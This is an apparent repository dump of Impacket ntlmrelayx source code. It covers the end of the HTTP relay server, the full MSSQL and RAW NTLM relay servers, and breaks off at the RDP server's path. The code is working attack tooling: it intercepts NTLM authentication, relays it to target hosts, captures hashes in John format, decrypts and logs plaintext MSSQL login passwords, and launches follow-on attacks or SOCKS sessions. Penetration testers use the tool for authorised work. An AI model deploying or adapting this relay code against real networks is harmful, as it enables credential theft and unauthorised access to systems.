self.server.config.target.reloadTargets(full_reload=True)\n                        self.target = self.server.config.target.getTarget(identity=self.authUser)\n                    else:\n                        LOG.info(\"(HTTP): Connection from %s@%s controlled, but there are no more targets left!\" % (self.authUser, self.client_address[0]))\n                        self.send_not_found()\n                        return\n\n                LOG.info(\"(HTTP): Connection from %s@%s controlled, attacking target %s://%s\" % (self.authUser, self.client_address[0], self.target.scheme, self.target.netloc))\n\n                self.relayToHost = True\n                self.do_REDIRECT()\n\n        def do_relay(self, messageType, token, proxy, content = None):\n            if messageType == 1:\n                if self.server.config.disableMulti:\n                    self.target = self.server.config.target.getTarget(multiRelay=False)\n                    if self.target is None:\n                        if self.server.config.keepRelaying:\n                            self.server.config.target.reloadTargets(full_reload=True)\n                            self.target = self.server.config.target.getTarget(multiRelay=False)\n                        else:\n                            LOG.info(\"(HTTP): Connection from %s controlled, but there are no more targets left!\" % self.client_address[0])\n                            self.send_not_found()\n                            return\n\n                    LOG.info(\"(HTTP): Connection from %s controlled, attacking target %s://%s\" % (self.client_address[0], self.target.scheme, self.target.netloc))\n\n                try:\n                    ntlm_negotiate_response = self.do_ntlm_negotiate(token, proxy=proxy)\n                except Exception as e:\n                    LOG.error('(HTTP): Exception while Negotiating NTLM with %s://%s: \"%s\"' % (self.target.scheme, self.target.netloc, str(e)))\n                    ntlm_negotiate_response = False\n\n                if not ntlm_negotiate_response:\n                    # Connection failed\n                    if self.server.config.disableMulti:\n                        LOG.error('(HTTP): Negotiating NTLM with %s://%s failed' % (self.target.scheme, self.target.netloc))\n                        self.server.config.target.registerTarget(self.target)\n                        self.send_not_found()\n                        return\n                    else:\n                        LOG.error('(HTTP): Negotiating NTLM with %s://%s failed. Skipping to next target' % (self.target.scheme, self.target.netloc))\n\n                        self.server.config.target.registerTarget(self.target, gotUsername=self.authUser)\n                        self.target = self.server.config.target.getTarget(identity=self.authUser)\n\n                        if self.target is None:\n                            if self.server.config.keepRelaying:\n                                self.server.config.target.reloadTargets(full_reload=True)\n                                self.target = self.server.config.target.getTarget(identity=self.authUser)\n                            else:\n                                LOG.info(\"(HTTP): Connection from %s@%s controlled, but there are no more targets left!\" % (self.authUser, self.client_address[0]))\n                                self.send_not_found()\n                                return\n\n                        LOG.info(\"(HTTP): Connection from %s@%s controlled, attacking target %s://%s\" % (self.authUser, self.client_address[0], self.target.scheme, self.target.netloc))\n\n                        self.do_REDIRECT()\n\n            elif messageType == 3:\n                authenticateMessage = ntlm.NTLMAuthChallengeResponse()\n                authenticateMessage.fromString(token)\n\n                if self.server.config.disableMulti:\n                    self.authUser = authenticateMessage.getUserString()\n                    target = '%s://%s@%s' % (self.target.scheme, self.authUser.replace(\"/\", '\\\\'), self.target.netloc)\n\n                if not self.do_ntlm_auth(token, authenticateMessage):\n                    LOG.error(\"(HTTP): Authenticating against %s://%s as %s FAILED\" % (self.target.scheme, self.target.netloc, self.authUser))\n                    if self.server.config.disableMulti:\n                        self.send_not_found()\n                        return\n                    # Only skip to next if the login actually failed, not if it was just anonymous login or a system account\n                    # which we don't want\n                    if authenticateMessage['user_name'] != '':  # and authenticateMessage['user_name'][-1] != '$':\n                        self.server.config.target.registerTarget(self.target, gotUsername=self.authUser)\n                        # No anonymous login, go to next host and avoid triggering a popup\n                        self.target = self.server.config.target.getTarget(identity=self.authUser)\n                        if self.target is None:\n\n                            if self.server.config.keepRelaying:\n                                self.server.config.target.reloadTargets(full_reload=True)\n                                self.target = self.server.config.target.getTarget(identity=self.authUser)\n                            else:\n                                LOG.info(\"(HTTP): Connection from %s@%s controlled, but there are no more targets left!\" % (self.authUser, self.client_address[0]))\n                                self.send_not_found()\n                                return\n\n                        self.send_not_found()  # Stop relaying at first login fail, this matches the behavior of smbrelayserver\n\n                        # Uncomment lines below to keep relaying after login failures\n                        # LOG.info(\"(HTTP): Connection from %s@%s controlled, attacking target %s://%s\" % (self.authUser, self.client_address[0], self.target.scheme, self.target.netloc))\n\n                        # self.do_REDIRECT()\n                    else:\n                        # If it was an anonymous login, send 401\n                        self.do_AUTHHEAD(b'NTLM', proxy=proxy)\n                else:\n                    # Relay worked, do whatever we want here...\n                    self.client.setClientId()\n                    LOG.info(\"(HTTP): Authenticating connection from %s@%s against %s://%s SUCCEED [%s]\" % (self.authUser, self.client_address[0], self.target.scheme, self.target.netloc, self.client.client_id))\n\n                    ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'],\n                                                        authenticateMessage['user_name'],\n                                                        authenticateMessage['domain_name'],\n                                                        authenticateMessage['lanman'], authenticateMessage['ntlm'])\n                    self.client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data\n\n                    if self.server.config.dumpHashes is True:\n                        LOG.info(\"(HTTP): %s\" % ntlm_hash_data['hash_string'])\n\n                    if self.server.config.outputFile is not None:\n                        writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],\n                                              self.server.config.outputFile)\n\n                    if not self.server.config.isADCSAttack:\n                        self.server.config.target.registerTarget(self.target, True, self.authUser)\n\n                    self.do_attack()\n                    if self.server.config.disableMulti:\n                        # We won't use the redirect trick, closing connection...\n                        if self.command == \"PROPFIND\":\n                            self.send_multi_status(content)\n                        else:\n                            self.send_not_found()\n                        return\n                    else:\n                        # Let's grab our next target\n                        self.target = self.server.config.target.getTarget(identity=self.authUser)\n\n                        if self.target is None:\n                            if self.server.config.keepRelaying:\n                                self.server.config.target.reloadTargets(full_reload=True)\n                                self.target = self.server.config.target.getTarget(identity=self.authUser)\n                            else:\n                                LOG.info(\"(HTTP): Connection from %s@%s controlled, but there are no more targets left!\" % (self.authUser, self.client_address[0]))\n                                # Return Multi-Status status code to WebDAV servers\n                                if self.command == \"PROPFIND\":\n                                    self.send_multi_status(content)\n                                    return\n\n                                # Serve image and return 200 if --serve-image option has been set by user\n                                if (self.server.config.serve_image):\n                                    self.serve_image()\n                                    return\n\n                                # And answer 404 not found\n                                self.send_not_found()\n                                return\n\n                        # We have the next target, let's keep relaying...\n                        LOG.info(\"(HTTP): Connection from %s@%s controlled, attacking target %s://%s\" % (self.authUser, self.client_address[0], self.target.scheme, self.target.netloc))\n                        self.do_REDIRECT()\n\n        def do_attack(self):\n            # Check if SOCKS is enabled and if we support the target scheme\n            if self.server.config.runSocks and self.target.scheme.upper() in self.server.config.socksServer.supportedSchemes:\n                # Pass all the data to the socksplugins proxy\n                activeConnections.put((self.target.hostname, self.client.targetPort, self.target.scheme.upper(),\n                                       self.authUser, self.client, self.client.sessionData))\n                return\n\n            # If SOCKS is not enabled, or not supported for this scheme, fall back to \"classic\" attacks\n            if self.target.scheme.upper() in self.server.config.attacks:\n                # We have an attack.. go for it\n                clientThread = self.server.config.attacks[self.target.scheme.upper()](self.server.config, self.client.session,\n                                                                               self.authUser, self.target, self.client)\n                clientThread.start()\n            else:\n                LOG.error('(HTTP): No attack configured for %s' % self.target.scheme.upper())\n\n    def __init__(self, config):\n        Thread.__init__(self)\n        self.daemon = True\n        self.config = config\n        self.server = None\n        self.httpport = None\n\n    def run(self):\n        if not self.config.listeningPort:\n            self.config.listeningPort = 80\n\n        LOG.info(\"Setting up HTTP Server on port %s\" % self.config.listeningPort)\n\n        # changed to read from the interfaceIP set in the configuration\n        self.server = self.HTTPServer((self.config.interfaceIp, self.config.listeningPort), self.HTTPHandler, self.config)\n\n        try:\n             self.server.serve_forever()\n        except KeyboardInterrupt:\n             pass\n        LOG.info('Shutting down HTTP Server')\n        self.server.server_close()\n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/servers/mssqlrelayserver.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   MS SQL Relay Server \n#\n#   This is the MSSQL server that relays the connections\n#   to other protocols. \n#\n#   Based on RAW Relay Server.\n#\n# Authors:\n#   Eugenie Potseluevskaya\n#\n\nimport socketserver\nimport random\nimport string\nimport struct\nfrom threading import Thread\n\nfrom impacket import ntlm, tds, LOG\nfrom impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile\nfrom impacket.examples.utils import parse_target\nfrom impacket.nt_errors import STATUS_SUCCESS\nfrom impacket.ntlm import NTLMAuthChallenge\nfrom impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor\nfrom impacket.examples.ntlmrelayx.servers.socksserver import activeConnections\nfrom impacket.examples.utils import get_address\n\nclass MSSQLRelayServer(Thread):\n\n    class MSSQLServer(socketserver.ThreadingMixIn, socketserver.TCPServer):\n\n        def __init__(self, server_address, RequestHandlerClass, config):\n            self.config = config\n            self.daemon_threads = True\n            self.address_family, server_address = get_address(server_address[0], server_address[1], self.config.ipv6)\n            socketserver.TCPServer.allow_reuse_address = True\n            socketserver.TCPServer.__init__(self, server_address, RequestHandlerClass)\n\n    class MSSQLHandler(socketserver.BaseRequestHandler):\n\n        def __init__(self, request, client_address, server):\n            self.server = server\n            self.challengeMessage = None\n            self.target = None\n            self.client = None\n            self.authUser = None\n            self.client_address = None\n            \n            self.target = self.server.config.target.getTarget()\n            if self.target is None:\n                LOG.info(\"(MSSQL): Received connection from %s, but there are no more targets left!\" % client_address[0])\n                return            \n                \n            LOG.info(\"(MSSQL): Received connection from %s, attacking target %s://%s\" % (client_address[0] ,self.target.scheme, self.target.netloc))\n\n            self.client_address = client_address[0]            \n            \n            if ':' in self.target.netloc:\n                target_string,port=self.target.netloc.split(':')\n                self.target_port=int(port)\n            else:\n                target_string=self.target.netloc\n                self.target_port=1433\n            \n            domain, username, password, remoteName = parse_target(target_string)\n            \n            if domain is None:\n                domain = ''\n                \n            self.remoteName = remoteName\n               \n            super().__init__(request, client_address, server)\n            \n        def init_client(self):\n            if self.target.scheme.upper() in self.server.config.protocolClients:\n                client = self.server.config.protocolClients[self.target.scheme.upper()](self.server.config, self.target, extendedSecurity = True)\n                if not client.initConnection():\n                    raise Exception('Could not initialize connection')\n            else:\n                raise Exception('Protocol Client for %s not found!' % self.target.scheme)\n            return client            \n            \n        def decryptPassword(self, password):\n            return bytes((((x ^ 0xA5) & 0x0F) << 4) | (((x ^ 0xA5) & 0xF0) >> 4) for x in bytearray(password))\n            \n        def sendNegotiate(self,negotiateMessage):\n            # Changed from the version in mssqlrelayclient.py to use the same parameters as \n            # the original request and change the database\n            login = tds.TDS_LOGIN()\n\n            login['HostName'] = (''.join([random.choice(string.ascii_letters) for _ in range(8)])).encode('utf-16le')\n            login['AppName']  = self.login['AppName']\n            login['ServerName'] = self.target.hostname.encode('utf-16le')\n            login['CltIntName']  = self.login['AppName']\n            login['ClientPID'] = random.randint(0, 1024)\n            login['PacketSize'] = self.client.session.packetSize\n            if self.server.config.database:\n                LOG.info(\"(MSSQL): Changing the database to %s\" % self.server.config.database)\n                login['Database'] = self.server.config.database.encode('utf-16le')\n            else:\n                LOG.debug(\"(MSSQL): Removed the original database: %s, the database is empty now. Change the --mssql-db setting if you want to specify the database\" % self.login['Database'].decode(\"utf-8\"))\n                login['Database'] = b''\n            login['OptionFlags2'] = tds.TDS_INIT_LANG_FATAL | tds.TDS_ODBC_ON | tds.TDS_INTEGRATED_SECURITY_ON\n\n            # NTLMSSP Negotiate\n            login['SSPI'] = negotiateMessage\n            login['Length'] = len(login.getData())\n\n            # Send the NTLMSSP Negotiate\n            self.client.session.sendTDS(tds.TDS_LOGIN7, login.getData())\n\n            # According to the specs, if encryption is not required, we must encrypt just\n            # the first Login packet :-o\n            if self.client.session.resp['Encryption'] == tds.TDS_ENCRYPT_OFF:\n                self.client.session.tlsSocket = None\n\n            tds_response = self.client.session.recvTDS()\n            self.client.session.sessionData['NTLM_CHALLENGE'] = tds_response\n\n            challenge = NTLMAuthChallenge()\n            challenge.fromString(tds_response['Data'][3:])\n\n            return challenge\n            \n        def sendLoginFailed(self):\n            responseData = tds.TDS_INFO_ERROR()\n            msg = \"Login failed for user ''.\".encode('utf-16le')\n            server = \"MSSQLSERVER\".encode('utf-16le')\n            proc = b\"\"\n            responseData['TokenType'] = tds.TDS_ERROR_TOKEN   \n            responseData['Number'] = 18456                    # Login failed\n            responseData['State'] = 1\n            responseData['Class'] = 14\n            responseData['MsgText'] = msg\n            responseData['MsgTextLen'] = len(msg) // 2\n            responseData['ServerName'] = server                       \n            responseData['ServerNameLen'] = len(server) // 2\n            responseData['ProcName'] = proc\n            responseData['ProcNameLen'] = len(proc) // 2\n            responseData['LineNumber'] = 1\n                        \n            responseData['Length'] = 16 + len(msg) + len(server) + len(proc)\n                        \n            doneData = tds.TDS_DONE()\n            doneData['TokenType'] = tds.TDS_DONE_TOKEN\n            doneData['Status'] = 0x02 # TDS_DONE_ERROR \n            doneData['CurCmd'] = 0\n            doneData['DoneRowCount'] = 0\n                        \n            responsePacket = tds.TDSPacket()\n            responsePacket[\"Type\"] = tds.TDS_TABULAR\n            responsePacket[\"Data\"] = responseData.getData() + doneData.getData()\n                                                \n            self.request.send(responsePacket.getData())\n            \n            return          \n          \n        def handle(self):            \n            try:\n                while True:\n                    # Receive packet from the client\n                    packet = self.request.recv(65535)\n                    if not packet:\n                        break\n                    \n                    if packet[0] == tds.TDS_PRE_LOGIN:         # Pre-login stage\n                    \n                        LOG.debug(\"(MSSQL): Receieved TDS pre-login from client\")\n                        self.client = self.init_client()\n                        LOG.debug(\"(MSSQL): Sending our own TDS pre-login response to client\")\n                        preloginResponseData = tds.TDS_PRELOGIN()\n                        preloginResponseData[\"Version\"] = b\"\\x0f\\x00\\x11\\x3a\\x00\\x00\"\n                        # We specify we do not support encryption\n                        preloginResponseData[\"Encryption\"] = tds.TDS_ENCRYPT_NOT_SUP\n                        # InstOpt is 0, we confirm that the client's InstOpt matches the server's instance\n                        preloginResponseData[\"Instance\"] = b\"\\x00\"                        \n                        # ThreadId is empty in the server response\n                        preloginResponseData[\"ThreadID\"] = b\"\"\n                        preloginResponseData[\"ThreadIDLength\"] = 0\n                        \n                        preloginResponse = tds.TDSPacket()\n                        preloginResponse[\"Type\"] = tds.TDS_TABULAR\n                        preloginResponse[\"Data\"] = preloginResponseData.getData()\n                        \n                        self.request.send(preloginResponse.getData())                      \n                        \n                    elif packet[0] == tds.TDS_LOGIN7:    # Login stage\n                    \n                        LOG.debug(\"(MSSQL): Parsing the client's login request\")\n                        loginData = tds.TDS_LOGIN()\n                        loginData.fromString(packet[8:])\n                        LOG.debug(\"(MSSQL): Client login request:\")\n                        if loginData[\"HostName\"]:\n                            LOG.debug(\"(MSSQL): Hostname    : %s\" % loginData[\"HostName\"].decode(\"utf-8\"))\n                        if loginData[\"ServerName\"]:\n                            LOG.debug(\"(MSSQL): Server Name : %s\" % loginData[\"ServerName\"].decode(\"utf-8\"))\n                        if loginData[\"CltIntName\"]:\n                            LOG.debug(\"(MSSQL): Client Name : %s\" % loginData[\"CltIntName\"].decode(\"utf-8\")) \n                        if loginData[\"AppName\"]:\n                            LOG.debug(\"(MSSQL): App Name    : %s\" % loginData[\"AppName\"].decode(\"utf-8\"))                                               \n                        if loginData[\"Database\"]:\n                            LOG.debug(\"(MSSQL): Database    : %s\" % loginData[\"Database\"].decode(\"utf-8\"))\n                        if loginData[\"UserName\"]:\n                            LOG.debug(\"(MSSQL): Username    : %s\" % loginData[\"UserName\"].decode(\"utf-8\"))\n                        if loginData[\"Password\"]:\n                            password = self.decryptPassword(loginData[\"Password\"])\n                            LOG.info(\"(MSSQL): Password    : %s\" % password.decode(\"utf-8\"))\n                            LOG.info(\"(MSSQL): Password is not empty. Relay is not required.\")\n                        if not loginData[\"SSPI\"]:\n                            LOG.error(\"(MSSQL): NTLMSSP_NEGOTIATE not found in login message\")\n                            LOG.debug(\"(MSSQL): Sending our own error response to the client\")\n                            self.sendLoginFailed()\n                            break                        \n                        negotiateMessage = loginData[\"SSPI\"]\n                        self.login = loginData\n                        # For MSSQL, we change the database and target server name\n                        if (self.target.scheme.upper() == \"MSSQL\"):\n                            self.client.sendNegotiate = self.sendNegotiate\n                                \n                        self.challengeMessage = self.client.sendNegotiate(negotiateMessage)\n                        challenge = bytes.fromhex(str(self.challengeMessage))\n\n                        tds_response = tds.TDSPacket()\n                        tds_response['Type'] = tds.TDS_TABULAR\n                        tds_response['Status'] = tds.TDS_STATUS_EOM\n                        tds_response['PacketID'] = 0\n                        # TDS_SSPI token + little-endian length + payload\n                        tds_response['Data'] = struct.pack('<BH', tds.TDS_SSPI_TOKEN, len(challenge)) + challenge\n\n                        self.request.send(tds_response.getData())\n                        \n                    elif packet[0] == tds.TDS_SSPI:    # NTLM authentication\n                        LOG.debug(\"(MSSQL): Sending our own error response to the client\")\n                        self.sendLoginFailed()\n                        \n                        authenticateMessage = ntlm.NTLMAuthChallengeResponse()\n                        authenticateMessage.fromString(packet[8:])\n                        LOG.debug(\"(MSSQL): Relaying authentication to server\")\n                        \n                        if not STATUS_SUCCESS in self.client.sendAuth(packet[8:]):\n                            if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:\n                                LOG.error(\"(MSSQL): Authenticating against %s://%s as %s/%s FAILED\" % (\n                                    self.target.scheme, self.target.netloc,\n                                    authenticateMessage['domain_name'].decode('utf-16le'),\n                                    authenticateMessage['user_name'].decode('utf-16le')))\n                            else:\n                                LOG.error(\"(MSSQL): Authenticating against %s://%s as %s/%s FAILED\" % (\n                                    self.target.scheme, self.target.netloc,\n                                    authenticateMessage['domain_name'].decode('ascii'),\n                                    authenticateMessage['user_name'].decode('ascii')))                          \n                            \n                        else:\n                            # Relay worked, do whatever we want here...                                \n                            self.client.setClientId()\n                            if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:\n                                LOG.info(\"(MSSQL): Authenticating connection from %s/%s@%s against %s://%s SUCCEED [%s]\" % (\n                                    authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'),\n                                    self.client_address[0], self.target.scheme, self.target.netloc, self.client.client_id))\n                            else:\n                                LOG.info(\"(MSSQL): Authenticating connection from %s/%s@%s against %s://%s SUCCEED [%s]\" % ( authenticateMessage['domain_name'].decode('ascii'), authenticateMessage['user_name'].decode('ascii'), self.client_address[0], self.target.scheme, self.target.netloc, self.client.client_id))\n\n                            ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'],\n                                                        authenticateMessage['user_name'],\n                                                        authenticateMessage['domain_name'],\n                                                        authenticateMessage['lanman'], authenticateMessage['ntlm'])\n                            self.client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data\n\n                            if self.server.config.dumpHashes is True:\n                                LOG.info(\"(RAW): %s\" % ntlm_hash_data['hash_string'])\n\n                            if self.server.config.outputFile is not None:\n                                writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],\n                                              self.server.config.outputFile)\n                            \n                            self.authUser = authenticateMessage.getUserString()\n\n                            self.server.config.target.registerTarget(self.target, True, self.authUser)                            \n                            \n                            self.do_attack()\n                    else:\n                        LOG.error(\"(MSSQL): Something went wrong\")\n                        break\n\n            except Exception as e:\n                LOG.info(\"(MSSQL): An error occurred during packet capture: %s\" % e )\n\n        def do_attack(self):\n            # Check if SOCKS is enabled and if we support the target scheme\n            \n            if self.server.config.runSocks and self.target.scheme.upper() in self.server.config.socksServer.supportedSchemes:\n                # Pass all the data to the socksplugins proxy\n                activeConnections.put((self.target.hostname, self.client.targetPort, self.target.scheme.upper(),\n                                       self.authUser, self.client, self.client.sessionData))\n                return\n\n            # If SOCKS is not enabled, or not supported for this scheme, fall back to \"classic\" attacks\n            if self.target.scheme.upper() in self.server.config.attacks:\n                # We have an attack.. go for it\n                clientThread = self.server.config.attacks[self.target.scheme.upper()](self.server.config, self.client.session,self.authUser, self.target, self.client)\n                clientThread.start()\n            else:\n                LOG.error('(MSSQL): No attack configured for %s' % self.target.scheme.upper())\n\n    def __init__(self, config):\n        Thread.__init__(self)\n        self.daemon = True\n        self.config = config\n        self.server = None\n\n    def run(self):\n\n        if self.config.listeningPort:\n            mssqlport = self.config.listeningPort\n        else:\n            mssqlport = 1433\n            \n        LOG.info(\"Setting up MSSQL Server on port \" + str(mssqlport))            \n\n        # changed to read from the interfaceIP set in the configuration\n        self.server = self.MSSQLServer((self.config.interfaceIp, mssqlport), self.MSSQLHandler, self.config)\n\n        try:\n             self.server.serve_forever()\n        except KeyboardInterrupt:\n             pass\n        LOG.info('Shutting down MSSQL Server')\n        self.server.server_close()\n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/servers/rawrelayserver.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   RAW Relay Server\n#\n#   Written for lsarelax, but the RAW server can be used by any third-party NTLM relay\n#   server that would like to integrate with ntlmrelayx supported clients/attacks\n#\n# Authors:\n#   Alberto Solino (@agsolino)\n#   Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)\n#   Ceri Coburn (@_EthicalChaos_)\n#\n\nimport socketserver\nimport socket\nimport base64\nimport random\nimport struct\nimport string\nfrom threading import Thread\nfrom six import PY2\n\nfrom impacket import ntlm, LOG\nfrom impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile\nfrom impacket.nt_errors import STATUS_ACCESS_DENIED, STATUS_SUCCESS\nfrom impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor\nfrom impacket.examples.ntlmrelayx.servers.socksserver import activeConnections\nfrom impacket.examples.utils import get_address\n\n\nclass RAWRelayServer(Thread):\n\n    class RAWServer(socketserver.ThreadingMixIn, socketserver.TCPServer):\n\n        def __init__(self, server_address, RequestHandlerClass, config):\n            self.config = config\n            self.daemon_threads = True\n            self.address_family, server_address = get_address(server_address[0], server_address[1], self.config.ipv6)\n            socketserver.TCPServer.allow_reuse_address = True\n            socketserver.TCPServer.__init__(self, server_address, RequestHandlerClass)\n\n    class RAWHandler(socketserver.BaseRequestHandler):\n\n        def __init__(self, request, client_address, server):\n            self.server = server\n            self.challengeMessage = None\n            self.target = None\n            self.client = None\n            self.machineAccount = None\n            self.machineHashes = None\n            self.domainIp = None\n            self.authUser = None\n\n            if self.server.config.target is None:\n                # Reflection mode, defaults to SMB at the target, for now\n                self.server.config.target = TargetsProcessor(singleTarget='SMB://%s:445/' % client_address[0])\n            self.target = self.server.config.target.getTarget()\n            if self.target is None:\n                LOG.info(\"(RAW): Received connection from %s, but there are no more targets left!\" % client_address[0])\n                return\n\n            LOG.info(\"(RAW): Received connection from %s, attacking target %s://%s\" % (client_address[0] ,self.target.scheme, self.target.netloc))\n\n            super().__init__(request, client_address, server)\n\n        def handle(self):\n\n            ntlm_negotiate_len = struct.unpack('h', self.request.recv(2))\n            ntlm_negotiate = self.request.recv(ntlm_negotiate_len[0])\n\n            if not self.do_ntlm_negotiate(ntlm_negotiate):\n                # Connection failed\n                LOG.error('(RAW): Negotiating NTLM with %s://%s failed. Skipping to next target',\n                          self.target.scheme, self.target.netloc)\n                self.server.config.target.registerTarget(self.target)\n\n            else:\n\n                ntlm_chal_token = self.challengeMessage.getData()\n                self.request.sendall(struct.pack('h', len(ntlm_chal_token)))\n                self.request.sendall(ntlm_chal_token)\n\n                ntlm_auth_len = struct.unpack('h', self.request.recv(2))\n                ntlm_auth = self.request.recv(ntlm_auth_len[0])\n\n                authenticateMessage = ntlm.NTLMAuthChallengeResponse()\n                authenticateMessage.fromString(ntlm_auth)\n\n                if not self.do_ntlm_auth(ntlm_auth, authenticateMessage):\n\n                    self.request.sendall(struct.pack('h', 1))\n                    self.request.sendall(struct.pack('?', False))\n\n                    if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:\n                        LOG.error(\"(RAW): Authenticating against %s://%s as %s\\\\%s FAILED\" % (\n                            self.target.scheme, self.target.netloc,\n                            authenticateMessage['domain_name'].decode('utf-16le'),\n                            authenticateMessage['user_name'].decode('utf-16le')))\n                    else:\n                        LOG.error(\"(RAW): Authenticating against %s://%s as %s\\\\%s FAILED\" % (\n                            self.target.scheme, self.target.netloc,\n                            authenticateMessage['domain_name'].decode('ascii'),\n                            authenticateMessage['user_name'].decode('ascii')))\n                else:\n                    # Relay worked, do whatever we want here...\n                    self.request.sendall(struct.pack('h', 1))\n                    self.request.sendall(struct.pack('?', True))\n                    self.client.setClientId()\n                    if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:\n                        LOG.info(\"(RAW): Authenticating connection from %s/%s@%s against %s://%s SUCCEED [%s]\" % (\n                            authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'),\n                            self.client_address[0], self.target.scheme, self.target.netloc, self.client.client_id))\n                    else:\n                        LOG.info(\"(RAW): Authenticating connection from %s/%s@%s against %s://%s SUCCEED [%s]\" % (\n                            authenticateMessage['domain_name'].decode('ascii'), authenticateMessage['user_name'].decode('ascii'),\n                            self.client_address[0], self.target.scheme, self.target.netloc, self.client.client_id))\n\n                    ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'],\n                                                        authenticateMessage['user_name'],\n                                                        authenticateMessage['domain_name'],\n                                                        authenticateMessage['lanman'], authenticateMessage['ntlm'])\n                    self.client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data\n\n                    if self.server.config.dumpHashes is True:\n                        LOG.info(\"(RAW): %s\" % ntlm_hash_data['hash_string'])\n\n                    if self.server.config.outputFile is not None:\n                        writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],\n                                              self.server.config.outputFile)\n\n                    self.server.config.target.registerTarget(self.target, True, self.authUser)\n\n                    self.do_attack()\n\n        def do_ntlm_negotiate(self, token):\n\n            if self.target.scheme.upper() in self.server.config.protocolClients:\n                self.client = self.server.config.protocolClients[self.target.scheme.upper()](self.server.config, self.target)\n                # If connection failed, return\n                if not self.client.initConnection():\n                    return False\n                self.challengeMessage = self.client.sendNegotiate(token)\n\n                # Remove target NetBIOS field from the NTLMSSP_CHALLENGE\n                if self.server.config.remove_target:\n                    av_pairs = ntlm.AV_PAIRS(self.challengeMessage['TargetInfoFields'])\n                    del av_pairs[ntlm.NTLMSSP_AV_HOSTNAME]\n                    self.challengeMessage['TargetInfoFields'] = av_pairs.getData()\n                    self.challengeMessage['TargetInfoFields_len'] = len(av_pairs.getData())\n                    self.challengeMessage['TargetInfoFields_max_len'] = len(av_pairs.getData())\n\n                # Check for errors\n                if self.challengeMessage is False:\n                    return False\n            else:\n                LOG.error('(RAW): Protocol Client for %s not found!' % self.target.scheme.upper())\n                return False\n\n            return True\n\n        def do_ntlm_auth(self, token, authenticateMessage):\n            # For some attacks it is important to know the authenticated username, so we store it\n            self.authUser = authenticateMessage.getUserString()\n\n            if authenticateMessage['user_name'] != '' or self.target.hostname == '127.0.0.1':\n                clientResponse, errorCode = self.client.sendAuth(token)\n            else:\n                # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials, except\n                # when coming from localhost\n                errorCode = STATUS_ACCESS_DENIED\n\n            if errorCode == STATUS_SUCCESS:\n                return True\n\n            return False\n\n        def do_attack(self):\n            # Check if SOCKS is enabled and if we support the target scheme\n            if self.server.config.runSocks and self.target.scheme.upper() in self.server.config.socksServer.supportedSchemes:\n                # Pass all the data to the socksplugins proxy\n                activeConnections.put((self.target.hostname, self.client.targetPort, self.target.scheme.upper(),\n                                       self.authUser, self.client, self.client.sessionData))\n                return\n\n            # If SOCKS is not enabled, or not supported for this scheme, fall back to \"classic\" attacks\n            if self.target.scheme.upper() in self.server.config.attacks:\n                # We have an attack.. go for it\n                clientThread = self.server.config.attacks[self.target.scheme.upper()](self.server.config, self.client.session,\n                                                                               self.authUser, self.target, self.client)\n                clientThread.start()\n            else:\n                LOG.error('(RAW): No attack configured for %s' % self.target.scheme.upper())\n\n    def __init__(self, config):\n        Thread.__init__(self)\n        self.daemon = True\n        self.config = config\n        self.server = None\n\n    def run(self):\n\n        if self.config.listeningPort:\n            rawport = self.config.listeningPort\n        else:\n            rawport = 6666\n            \n        LOG.info(\"Setting up RAW Server on port \" + str(rawport))            \n\n        # changed to read from the interfaceIP set in the configuration\n        self.server = self.RAWServer((self.config.interfaceIp, rawport), self.RAWHandler, self.config)\n\n        try:\n             self.server.serve_forever()\n        except KeyboardInterrupt:\n             pass\n        LOG.info('Shutting down RAW Server')\n        self.server.server_close()"
  },
  {
    "path": "impacket/examples/ntlmrelayx/servers/rdprelayserver.py",
